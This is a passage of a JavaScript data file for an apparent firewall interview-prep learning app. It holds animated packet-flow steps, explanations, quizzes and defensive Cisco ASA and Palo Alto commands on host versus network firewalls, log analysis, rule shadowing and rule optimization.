✓)`,badge:`Step 8: Server Accepted ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Server receives connection and processes application request.`,interviewTakeaway:`Target server accepts connection.`},{id:9,label:`9. Server Generates Return Reply Packet`,badge:`Step 9: Server Reply`,activeNodes:[`server`],packetInfo:{srcIp:`10.0.5.100`,dstIp:`10.0.1.25`,srcPort:443,dstPort:49200,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Server sends HTTP 200 response back to laptop.`,interviewTakeaway:`Return traffic returns to originating process.`},{id:10,label:`10. Host Firewall Scenario Complete (Part A Concluded ✓)`,badge:`Step 10: PART A COMPLETE ✓`,activeNodes:[`laptop`],decision:`ALLOW`,whatIsHappening:`Host-based firewall successfully demonstrated. (Part A Complete - STOP).`,interviewTakeaway:`Host firewalls protect individual endpoints from local lateral attacks.`},{id:11,label:`11. PART B: Enterprise Network-Based Firewall Appliance Active`,badge:`Step 11: Network Gateway`,activeNodes:[`firewall`],whatIsHappening:`Dedicated hardware security appliance positioned at the subnet/datacenter boundary.`,interviewTakeaway:`Network firewalls act as centralized chokepoints for multi-host subnets.`},{id:12,label:`12. Enterprise Datacenter Server Active in Protected Zone`,badge:`Step 12: Datacenter Server`,activeNodes:[`server`],whatIsHappening:`Centralized production server cluster located in protected datacenter zone.`,interviewTakeaway:`Network firewalls safeguard enterprise infrastructure segments.`},{id:13,label:`13. Inter-Subnet Network Infrastructure Cables Connected`,badge:`Step 13: Cables Connected`,activeNodes:[`laptop`,`firewall`,`server`],whatIsHappening:`Routed network cables connect User Subnet → Network Firewall → Datacenter Zone.`,interviewTakeaway:`Routed traffic across security zones must traverse the network firewall.`},{id:14,label:`14. Client Generates Network Packet destined for Datacenter`,badge:`Step 14: Packet Created`,activeNodes:[`laptop`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.100`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Client prepares packet to access centralized datacenter application.`,interviewTakeaway:`Cross-subnet packets are routed towards network firewall.`},{id:15,label:`15. Packet Leaves Laptop Interface`,badge:`Step 15: Host Egress`,activeNodes:[`laptop`],whatIsHappening:`Packet exits client network card into access switch.`,interviewTakeaway:`Packet leaves local host network.`},{id:16,label:`16. Packet Moves Across LAN: Client → Network Firewall`,badge:`Step 16: Ingress Transit`,activeNodes:[`laptop`,`firewall`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.100`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet transits routed network and enters Network Firewall ingress interface.`,interviewTakeaway:`Hardware firewall intercepts inter-zone traffic.`},{id:17,label:`17. Network Firewall Intercepts (ASIC Acceleration & Zone Policy)`,badge:`Step 17: Firewall Intercept`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Hardware security processors parse Layer 3 through Layer 7 packet headers.`,interviewTakeaway:`Network firewalls provide massive throughput and centralized threat protection.`},{id:18,label:`18. Firewall Inspects Zone Policy (User-Trust → Datacenter-Zone)`,badge:`Step 18: Zone Inspection`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall validates source zone, destination zone, port 443, and deep packet inspection signatures.`,interviewTakeaway:`Network firewalls enforce centralized enterprise security policies.`},{id:19,label:`19. Rule Match: ALLOW HTTPS & DPI Clean ✓`,badge:`Step 19: Rule Match ✓`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Zone Rule: Allow User-Zone → DC-Zone (HTTPS / DPI Passed)`,whatIsHappening:`Enterprise policy permits packet; state table session entry instantiated.`,interviewTakeaway:`Centralized policies protect entire datacenters.`},{id:20,label:`20. Packet Moves: Network Firewall → Datacenter Server`,badge:`Step 20: Forwarded to Server`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.100`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Permitted packet forwarded into protected datacenter subnet.`,interviewTakeaway:`Permitted packets reach datacenter servers.`},{id:21,label:`21. Datacenter Server Receives Packet (ACCEPTED ✓)`,badge:`Step 21: Server Accepted ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Datacenter server receives connection and processes request.`,interviewTakeaway:`Defense-in-depth is achieved by combining Host + Network firewalls.`},{id:22,label:`22. Server Response Returns via Network Firewall`,badge:`Step 22: Return Transit`,activeNodes:[`server`,`firewall`,`laptop`],decision:`ALLOW`,whatIsHappening:`Return response matches network state table and returns safely to client.`,interviewTakeaway:`Stateful return completes network session.`},{id:23,label:`23. Host vs Network Firewall Comparison Complete ✓`,badge:`Step 23: ROUND-TRIP ✓`,activeNodes:[`laptop`],decision:`ALLOW`,whatIsHappening:`Layered security: Host firewalls prevent lateral movement; Network firewalls protect the perimeter.`,interviewTakeaway:`Defense-in-depth requires both host and network firewall layers.`}]},{id:26,categoryId:`troubleshooting`,category:`Triage & Diagnostics`,title:`What is firewall logging, and how do you analyze firewall logs?`,difficulty:`Intermediate`,visualType:`q26-firewall-logging`,elevatorPitch:`Firewall logging records metadata for every connection attempt traversing or hitting the firewall. Each log entry contains a 5-tuple (Source IP, Destination IP, Source Port, Destination Port, Protocol) plus Action (ALLOW/DENY), timestamp, matching rule ID, interface, and byte count, which security engineers analyze using SIEM tools to detect attacks and troubleshoot connectivity.`,deepDive:"### Anatomy of a Firewall Log (5-Tuple + Metadata)\nA standard syslog or CEF (Common Event Format) firewall record contains:\n1. **Timestamp:** `2026-10-01T14:00:05.120Z` (Precise event timing).\n2. **Action:** `DENY` / `DROP` / `PERMIT` / `RESET`.\n3. **Source IP & Port:** `192.168.1.50:54321` (Originating host).\n4. **Destination IP & Port:** `10.0.5.100:23` (Target server & service).\n5. **Protocol:** `TCP` / `UDP` / `ICMP` (Transport protocol).\n6. **Rule Name / ID:** `Rule_Block_Telnet_04` (Specific policy hit).\n7. **Zone / Interface:** `from: trust to: untrust`.\n\n### Step-by-Step Log Analysis Methodology\n* **Step 1 — Filter by Time & Destination:** Narrow down the exact window when an issue occurred.\n* **Step 2 — Inspect Action (Allow vs Drop):** Check whether the firewall dropped the packet or forwarded it.\n* **Step 3 — Identify Matching Rule:** If dropped, check if it was dropped by an explicit rule or the implicit default deny.\n* **Step 4 — Verify NAT & Routing:** Ensure Source NAT or Destination NAT translation was logged correctly.\n* **Step 5 — Check TCP Flags / Reset Reason:** Look for TCP RST flags indicating application-layer teardowns.",realWorldScenario:"A developer reports that an application cannot connect to an internal database. A security engineer queries the Splunk SIEM for `src=10.0.1.25 AND dst=10.0.5.50`. The firewall log reveals `action=DROP rule=Default-Implicit-Deny dst_port=3306`, confirming that no firewall rule had been provisioned to allow MySQL traffic between the subnets.",commonTraps:[`Assuming traffic dropped before reaching the firewall will appear in firewall logs (If routing drops the packet first, the firewall never sees it).`,`Failing to log default deny drops (Blind spot: You cannot investigate blocked attack probes if implicit deny logging is disabled).`],cliSnippet:`# Cisco ASA Real-time Syslog Monitoring
show log | include 192.168.1.50

# Palo Alto PAN-OS Traffic Log Query
show log traffic destination equal 10.0.5.100 direction equal forward`,quiz:{question:`What are the five core fields that comprise the standard networking "5-Tuple" in a firewall log?`,options:[`MAC Address, VLAN ID, Gateway, Subnet Mask, DNS Server`,`Source IP, Destination IP, Source Port, Destination Port, Protocol`,`Username, Password, Certificate, Domain, Session ID`,`HTTP Method, URL Path, Status Code, User-Agent, Cookie`],correctAnswer:1,explanation:`The standard 5-tuple consists of Source IP, Destination IP, Source Port, Destination Port, and Protocol (Layer 3 & 4 parameters).`},steps:[{id:1,label:`1. Client Endpoint Active (192.168.1.50)`,badge:`Step 1: Source Host`,activeNodes:[`client`],whatIsHappening:`Client endpoint prepares connection attempt to restricted legacy service.`,interviewTakeaway:`Traffic logs trace events back to the originating client IP.`},{id:2,label:`2. Enterprise Security Firewall Active`,badge:`Step 2: Logging Gateway`,activeNodes:[`firewall`],whatIsHappening:`Firewall syslog engine monitors all interface traffic and evaluates rule hits.`,interviewTakeaway:`Firewalls generate structured audit logs for every session state transition.`},{id:3,label:`3. Target Datacenter Server Active (10.0.5.100)`,badge:`Step 3: Target Server`,activeNodes:[`server`],whatIsHappening:`Datacenter server listening on internal network ports.`,interviewTakeaway:`Logs confirm whether traffic successfully reaches target servers.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Cables connect Client → Firewall → Server.`,interviewTakeaway:`Physical transit chain established.`},{id:5,label:`5. Client Transmits Unauthorized Telnet Packet (Port 23)`,badge:`Step 5: Packet Created`,activeNodes:[`client`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`10.0.5.100`,srcPort:49500,dstPort:23,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Client sends cleartext Telnet connection attempt to internal server.`,interviewTakeaway:`Insecure protocols trigger security policy denial.`},{id:6,label:`6. Packet Moves: Client → Firewall`,badge:`Step 6: Transit to Firewall`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`10.0.5.100`,srcPort:49500,dstPort:23,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet enters firewall ingress interface.`,interviewTakeaway:`Ingress traffic is buffered for rule inspection.`},{id:7,label:`7. Firewall Receives Packet (Status: INSPECTING)`,badge:`Step 7: Ingress Buffer`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall parses packet headers and begins policy lookup.`,interviewTakeaway:`Firewall holds packet during rule evaluation.`},{id:8,label:`8. Rulebase Evaluation: Rule 405 Matches Telnet`,badge:`Step 8: Rule Evaluation`,activeNodes:[`firewall`],decision:`INSPECT`,ruleMatched:`Rule 405: BLOCK Insecure Telnet (Port 23)`,whatIsHappening:`Firewall policy engine matches Deny rule for TCP Port 23.`,interviewTakeaway:`Rule matches dictate security action.`},{id:9,label:`9. Policy Decision: Action = DENY / DROP`,badge:`Step 9: Action DENY`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Firewall executes DENY action; halts packet immediately.`,interviewTakeaway:`Denied packets are stopped at the security perimeter.`},{id:10,label:`10. Packet Physically Stops at Firewall (BLOCKED ✕)`,badge:`Step 10: TRAFFIC BLOCKED ✕`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Packet is discarded; target server receives 0 packets and remains protected.`,interviewTakeaway:`Blocked traffic is dropped at the firewall and never reaches the destination.`},{id:11,label:`11. Firewall Syslog Engine Generates Structured Event Record`,badge:`Step 11: Syslog Event`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Logging daemon formats CEF syslog record containing timestamp and 5-tuple metadata.`,interviewTakeaway:`Log generation provides forensic evidence of policy enforcement.`},{id:12,label:`12. Syslog Log Record Fields Appear`,badge:`Step 12: Log Fields`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Syslog parser unpacks event fields into structured analysis table.`,interviewTakeaway:`Structured logs enable automated SIEM parsing.`},{id:13,label:`13. Highlight Field 1: Source IP (192.168.1.50)`,badge:`Step 13: Source IP`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Log analyst identifies originating client host IP.`,interviewTakeaway:`Source IP identifies the host initiating the connection.`},{id:14,label:`14. Highlight Field 2: Destination IP (10.0.5.100)`,badge:`Step 14: Destination IP`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Log analyst identifies targeted server asset.`,interviewTakeaway:`Destination IP identifies the target asset.`},{id:15,label:`15. Highlight Field 3: Port / Protocol (TCP :23 Telnet)`,badge:`Step 15: Port & Protocol`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Log analyst identifies insecure cleartext protocol requested.`,interviewTakeaway:`Port and protocol specify the requested service.`},{id:16,label:`16. Highlight Field 4: Action (DENY / DROP ✕)`,badge:`Step 16: Action DENY`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Log confirms firewall policy successfully blocked connection.`,interviewTakeaway:`Action field confirms whether traffic was permitted or dropped.`},{id:17,label:`17. Highlight Field 5: Rule Match (Rule_Block_Telnet_405)`,badge:`Step 17: Rule Matched`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Log links drop directly to security policy Rule 405.`,interviewTakeaway:`Rule ID connects forensic event to specific administrative policy.`},{id:18,label:`18. Complete Forensic Chain: Traffic → Block → Log → Rule → Reason ✓`,badge:`Step 18: FORENSIC CHAIN ✓`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Security investigation concludes: unauthorized traffic blocked and documented.`,interviewTakeaway:`Traffic → Block → Log → Investigate → Rule verification.`}]},{id:27,categoryId:`acl-rules`,category:`ACL & Policies`,title:`What is firewall rule shadowing?`,difficulty:`Intermediate`,visualType:`q27-rule-shadowing`,elevatorPitch:`Firewall rule shadowing occurs when a broader, higher-priority rule in the access control list matches all the traffic that a subsequent, more specific rule was intended to handle. Because firewalls evaluate rules from top to bottom and execute the first match, the second rule is "shadowed" and can never be reached or executed.`,deepDive:"### The Top-to-Bottom First-Match Principle\nFirewalls process security access rules strictly sequentially:\n```text\n[Rule 1] IF Match THEN Apply Action & STOP EVALUATION\n[Rule 2] IF Match THEN Apply Action & STOP EVALUATION\n[Rule 3] ...\n```\n\n### Classic Shadowing Example\n* **Rule 1 (Broad Deny):** `DENY ANY → 10.0.5.50:443`\n* **Rule 2 (Specific Allow):** `ALLOW 10.0.0.0/24 → 10.0.5.50:443`\n* **Flaw:** When client `10.0.0.25` sends an HTTPS packet, Rule 1 matches immediately because `10.0.0.25` falls within `ANY`. The firewall executes `DENY` and terminates evaluation. **Rule 2 is completely dead/shadowed.**\n\n### The Fix: Specific-First Ordering\nAlways place specific host and subnet rules **above** broad wildcard/any rules:\n* **Corrected Rule 1:** `ALLOW 10.0.0.0/24 → 10.0.5.50:443` (Specific Subnet)\n* **Corrected Rule 2:** `DENY ANY → 10.0.5.50:443` (Broad Catch-all)",realWorldScenario:"During a security audit, a hospital network administrator added `ALLOW Admin_PC → Core_Switch (SSH)` at line 85 of the firewall ACL. However, line 12 contained `DENY ANY → Any (SSH)`. The administrator was locked out because Rule 12 shadowed Rule 85. Moving line 85 above line 12 immediately resolved the outage.",commonTraps:[`Assuming the firewall chooses the "most specific rule" automatically (Firewalls do NOT pick the most specific rule; they execute the FIRST matching rule).`,`Appending new allow rules to the bottom of large ACL tables without checking preceding deny rules.`],cliSnippet:`# Cisco ASA ACL Rule Insertion at specific line number
access-list OUTSIDE_IN line 1 extended permit tcp 10.0.0.0 255.255.255.0 host 10.0.5.50 eq 443

# Check hit counts on shadowed rules (Hit count remains 0)
show access-list OUTSIDE_IN | include hitcnt=0`,quiz:{question:`What causes a firewall rule to become "shadowed"?`,options:[`The firewall runs out of memory and deletes bottom rules`,`A preceding broader rule matches all the traffic first, preventing subsequent rules from ever being evaluated`,`The rule uses an outdated encryption cipher`,`The rule is applied to a physical interface that is powered down`],correctAnswer:1,explanation:`Because firewalls evaluate rules sequentially and stop at the first match, a preceding rule that encompasses the traffic criteria of a lower rule will prevent the lower rule from ever matching.`},steps:[{id:1,label:`1. Client Workstation Active (10.0.0.25)`,badge:`Step 1: Client Host`,activeNodes:[`client`],whatIsHappening:`Client (10.0.0.25) preparing HTTPS connection to corporate server.`,interviewTakeaway:`Traffic begins at source endpoint.`},{id:2,label:`2. Firewall with Misordered ACL Table Active`,badge:`Step 2: Misordered ACL`,activeNodes:[`firewall`],whatIsHappening:`Firewall ACL contains: Rule 1 (DENY ANY) placed above Rule 2 (ALLOW Subnet).`,interviewTakeaway:`Rule ordering determines security policy behavior.`},{id:3,label:`3. Target Server Active (10.0.5.50:443)`,badge:`Step 3: Target Server`,activeNodes:[`server`],whatIsHappening:`Target server awaiting legitimate incoming HTTPS sessions.`,interviewTakeaway:`Valid traffic intended for the server must be permitted.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Cables connect Client → Firewall → Server.`,interviewTakeaway:`Physical transit chain established.`},{id:5,label:`5. Client Creates HTTPS Packet (Port 443)`,badge:`Step 5: Packet Created`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.5.50`,srcPort:52100,dstPort:443,protocol:`TCP`},whatIsHappening:`Client constructs HTTPS connection packet.`,interviewTakeaway:`Client sends valid application packet.`},{id:6,label:`6. Packet Moves: Client → Firewall`,badge:`Step 6: Transit to Firewall`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.5.50`,srcPort:52100,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet arrives at firewall interface for rule inspection.`,interviewTakeaway:`Firewall starts evaluation at Rule 1.`},{id:7,label:`7. Firewall Receives Packet; Rule Table Appears`,badge:`Step 7: Rule Table`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall loads sequential Access Control List.`,interviewTakeaway:`Firewalls evaluate ACLs from top to bottom.`},{id:8,label:`8. Rule 1 Evaluated: DENY ANY → SERVER :443`,badge:`Step 8: Rule 1 Evaluation`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall inspects Rule 1 criteria against packet headers.`,interviewTakeaway:`First rule is checked first.`},{id:9,label:`9. Source Check: 10.0.0.25 Matches ANY ✓`,badge:`Step 9: Source Match`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Broad ANY source wildcard matches 10.0.0.25.`,interviewTakeaway:`Broad wildcard matches all source IPs.`},{id:10,label:`10. Destination & Port Check: Match Server & Port 443 ✓`,badge:`Step 10: Dest & Port Match`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Destination and port criteria match Rule 1.`,interviewTakeaway:`All criteria for Rule 1 are satisfied.`},{id:11,label:`11. RULE 1 FIRST MATCH CONFIRMED (Action: DENY)`,badge:`Step 11: First Match Deny`,activeNodes:[`firewall`],decision:`DENY`,ruleMatched:`Rule 1: DENY ANY → Server :443 (FIRST MATCH)`,whatIsHappening:`Rule 1 matches all source IPs including 10.0.0.25; firewall executes DENY.`,interviewTakeaway:`Firewall stops processing further rules upon first match.`},{id:12,label:`12. Action: DENY Executed; Packet Drops`,badge:`Step 12: Action DENY`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Firewall drops packet and halts evaluation.`,interviewTakeaway:`Evaluation terminates upon first match.`},{id:13,label:`13. Packet Physically Stops at Firewall (BLOCKED ✕)`,badge:`Step 13: Packet Blocked ✕`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Packet discarded at perimeter. Server receives 0 packets.`,interviewTakeaway:`Traffic blocked due to incorrect rule ordering.`},{id:14,label:`14. Rule 2 Visually Highlighted: SHADOWED / UNREACHED (0 Hits)`,badge:`Step 14: SHADOWED FLAW ✕`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Rule 2 (ALLOW 10.0.0.0/24) is shadowed and can never execute.`,interviewTakeaway:`Shadowed rules receive 0 hits and create hidden configuration defects.`},{id:15,label:`15. Policy Remediation: Specific ALLOW Moved to Line 1`,badge:`Step 15: Reordering Rules`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Admin moves specific ALLOW rule to Line 1, placing broad DENY rule at Line 2.`,interviewTakeaway:`Best practice: Specific rules always precede broad wildcard rules.`},{id:16,label:`16. Retransmitted Packet Created at Client`,badge:`Step 16: Retransmit Packet`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.5.50`,srcPort:52100,dstPort:443,protocol:`TCP`},whatIsHappening:`Client retransmits HTTPS connection packet.`,interviewTakeaway:`Retest verifies corrected policy order.`},{id:17,label:`17. Packet Moves: Client → Firewall`,badge:`Step 17: Retest Transit`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.5.50`,srcPort:52100,dstPort:443,protocol:`TCP`},whatIsHappening:`Retransmitted packet reaches firewall interface.`,interviewTakeaway:`Packet enters reordered rule evaluation.`},{id:18,label:`18. Reordered Rule 1 Matches Specific Subnet (ALLOW ✓)`,badge:`Step 18: Specific Match ✓`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Rule 1 (Reordered): ALLOW 10.0.0.0/24 → Server :443`,whatIsHappening:`Packet matches reordered Rule 1 (ALLOW); state table session established.`,interviewTakeaway:`Specific-first ordering guarantees intended access.`},{id:19,label:`19. Packet Moves: Firewall → Server`,badge:`Step 19: Permitted Transit`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.5.50`,srcPort:52100,dstPort:443,protocol:`TCP`},whatIsHappening:`Permitted packet forwarded to target server.`,interviewTakeaway:`Allowed traffic reaches application.`},{id:20,label:`20. Server Receives Packet (ACCEPTED ✓)`,badge:`Step 20: Server Accepted ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Target server accepts HTTPS connection.`,interviewTakeaway:`Correct rule order restores operational connectivity.`},{id:21,label:`21. Rule Shadowing Remediation Summary Complete ✓`,badge:`Step 21: REMEDIATION ✓`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Summary: Specific rules MUST precede broad wildcard rules to prevent shadowing.`,interviewTakeaway:`Proper rule hierarchy ensures intended access while maintaining security posture.`}]},{id:28,categoryId:`acl-rules`,category:`ACL & Policies`,title:`What is firewall rule optimization?`,difficulty:`Intermediate`,visualType:`q28-rule-optimization`,elevatorPitch:`Firewall rule optimization is the process of auditing, consolidating, and reordering access control lists to remove redundant, shadowed, or obsolete rules. By merging individual host IPs into supernet CIDR blocks or object groups and placing high-hit rules at the top, firewalls minimize CPU lookup cycles and prevent policy drift.`,deepDive:"### Core Optimization Techniques\n1. **Rule Consolidation (CIDR Supernetting):**\n   * *Before (Unoptimized):* Four separate rules allowing `10.0.1.1`, `10.0.1.2`, `10.0.1.3`, `10.0.1.4`.\n   * *After (Optimized):* Single consolidated rule for subnet `10.0.1.0/24` or network object group.\n2. **Hit-Count & Usage Reordering:**\n   * Move rules responsible for 80% of daily traffic (e.g. corporate web browsing, DNS) to the top of the ACL so the firewall finds matches in 1–2 evaluation cycles instead of iterating through hundreds of lines.\n3. **Dead / Obsolete Rule Purging:**\n   * Decommission rules with `hit-count = 0` over a 90-day window (decommissioned servers, retired test apps).\n4. **Redundant Rule Elimination:**\n   * Remove duplicate rules that replicate existing higher-level policies.",realWorldScenario:`An enterprise firewall with 2,500 legacy rules experienced 85% CPU spikes during peak hours. A firewall optimization audit consolidated 800 redundant host rules into 40 object groups and reordered top-hit rules to the top 20 lines. CPU utilization dropped to 25%, and rule audit compliance was restored.`,commonTraps:[`Assuming rule count has zero impact on modern firewalls (Bloated ACLs degrade management readability, increase audit failure rates, and consume TCAM/memory).`,`Blindly deleting zero-hit rules without checking if they exist for rare emergency disaster recovery links.`],cliSnippet:`# Check Unused Firewall Rules (Cisco ASA)
show access-list | include hitcnt=0

# Object-Group Consolidation (Palo Alto)
set address-group "Branch_Offices" static [ 10.10.1.0/24 10.10.2.0/24 10.10.3.0/24 ]`,quiz:{question:`Which action is a primary component of firewall rule optimization?`,options:[`Disabling all logging to save disk space`,`Consolidating individual host IP rules into supernet CIDR blocks and removing zero-hit rules`,`Replacing all specific port rules with ANY ANY ALLOW`,`Encrypting rule text with AES-256`],correctAnswer:1,explanation:`Consolidating individual IP entries into network CIDRs/object groups and eliminating dead rules streamlines policy evaluation and simplifies management.`},steps:[{id:1,label:`1. Client Endpoint Active (10.0.1.14)`,badge:`Step 1: Client Host`,activeNodes:[`client`],whatIsHappening:`Client with IP 10.0.1.14 preparing connection.`,interviewTakeaway:`Endpoints generate traffic to be evaluated.`},{id:2,label:`2. Firewall with 5 Redundant Host Rules Active`,badge:`Step 2: Bloated ACL`,activeNodes:[`firewall`],whatIsHappening:`Firewall running bloated rule table with individual host IP rules (10.0.1.10 ... 10.0.1.14).`,interviewTakeaway:`Unoptimized rule tables contain redundant host entries.`},{id:3,label:`3. Target Server Active (10.0.5.50:443)`,badge:`Step 3: Target Server`,activeNodes:[`server`],whatIsHappening:`Datacenter server listening on port 443.`,interviewTakeaway:`Server awaits incoming connections.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Cables connect Client → Firewall → Server.`,interviewTakeaway:`Physical transit chain established.`},{id:5,label:`5. Rules Appear Individually in Unoptimized Table`,badge:`Step 5: Unoptimized Rules`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall loads 5 separate host IP rules.`,interviewTakeaway:`Bloated ACLs inflate memory usage.`},{id:6,label:`6. Packet Arrives at Firewall (SRC: 10.0.1.14)`,badge:`Step 6: Packet Arrives`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.1.14`,dstIp:`10.0.5.50`,srcPort:49100,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet enters firewall; sequential lookup begins at Rule 1.`,interviewTakeaway:`Unoptimized ACLs require multiple iterative rule checks.`},{id:7,label:`7. Cycle 1: Check Rule 1 (10.0.1.10) → NO MATCH ✕`,badge:`Step 7: Cycle 1 Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Rule 1 checks 10.0.1.10; does not match 10.0.1.14.`,interviewTakeaway:`Mismatched rules consume CPU cycles.`},{id:8,label:`8. Cycle 2: Check Rule 2 (10.0.1.11) → NO MATCH ✕`,badge:`Step 8: Cycle 2 Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Rule 2 checks 10.0.1.11; does not match 10.0.1.14.`,interviewTakeaway:`Sequential evaluation continues.`},{id:9,label:`9. Cycle 3: Check Rule 3 (10.0.1.12) → NO MATCH ✕`,badge:`Step 9: Cycle 3 Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Rule 3 checks 10.0.1.12; does not match 10.0.1.14.`,interviewTakeaway:`Iterating through redundant rules adds lookup latency.`},{id:10,label:`10. Cycle 4: Check Rule 4 (10.0.1.13) → NO MATCH ✕`,badge:`Step 10: Cycle 4 Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Rule 4 checks 10.0.1.13; does not match 10.0.1.14.`,interviewTakeaway:`Unoptimized rules delay rule matching.`},{id:11,label:`11. Cycle 5: Check Rule 5 (10.0.1.14) → MATCH: ALLOW ✓`,badge:`Step 11: Cycle 5 Match`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Rule 5 matches on exact 5th cycle; 5 evaluation cycles consumed.`,interviewTakeaway:`Wasted CPU cycles degrade throughput.`},{id:12,label:`12. Action: ALLOW Executed (5 Cycles Consumed)`,badge:`Step 12: Action ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Firewall allows packet and forwards to server.`,interviewTakeaway:`Traffic is cleared after lengthy lookup.`},{id:13,label:`13. Packet Moves: Firewall → Server`,badge:`Step 13: Permitted Transit`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.1.14`,dstIp:`10.0.5.50`,srcPort:49100,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet delivered to server interface. (Unoptimized Flow Complete - STOP).`,interviewTakeaway:`Unoptimized flow completed with high latency overhead.`},{id:14,label:`14. Optimization Engine Identifies Redundancies`,badge:`Step 14: Audit Analysis`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Audit engine identifies five individual host rules that belong to the same 10.0.1.0/24 subnet.`,interviewTakeaway:`Rule analysis groups individual IPs into CIDR supernets.`},{id:15,label:`15. Consolidation: 5 Host Rules Merged into 1 Supernet CIDR Rule`,badge:`Step 15: Supernet Merged`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Admin replaces fragmented rules with single unified rule: ALLOW 10.0.1.0/24 → 10.0.5.50:443.`,interviewTakeaway:`Consolidation shrinks ACL size and eliminates policy clutter.`},{id:16,label:`16. Streamlined 1-Rule Table Deployed`,badge:`Step 16: Optimized ACL`,activeNodes:[`firewall`],whatIsHappening:`Streamlined rule base active with clean object grouping.`,interviewTakeaway:`Optimized tables enhance readability and reduce lookup latency.`},{id:17,label:`17. Retransmitted Packet Arrives at Firewall`,badge:`Step 17: Retest Arrival`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.1.14`,dstIp:`10.0.5.50`,srcPort:49100,dstPort:443,protocol:`TCP`},whatIsHappening:`Retransmitted packet enters optimized firewall interface.`,interviewTakeaway:`Retest verifies 1-cycle lookup.`},{id:18,label:`18. Instant Cycle 1 Match on CIDR Supernet Rule (ALLOW ✓)`,badge:`Step 18: Instant Match ✓`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Optimized Rule 1: ALLOW 10.0.1.0/24 → Server :443 (CYCLE 1)`,whatIsHappening:`Packet evaluated; matches on exact 1st cycle (1 cycle vs 5 cycles).`,interviewTakeaway:`Optimization minimizes rule evaluation overhead.`},{id:19,label:`19. Packet Moves: Firewall → Server`,badge:`Step 19: Fast Transit`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.1.14`,dstIp:`10.0.5.50`,srcPort:49100,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet instantly forwarded to server.`,interviewTakeaway:`Optimized forwarding delivers minimal latency.`},{id:20,label:`20. Server Receives Packet (ACCEPTED ✓ in 1 Cycle)`,badge:`Step 20: Server Accepted ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Server receives packet with zero lookup delay.`,interviewTakeaway:`Optimization improves system responsiveness and maintainability.`},{id:21,label:`21. Rule Optimization Summary Complete ✓`,badge:`Step 21: OPTIMIZATION 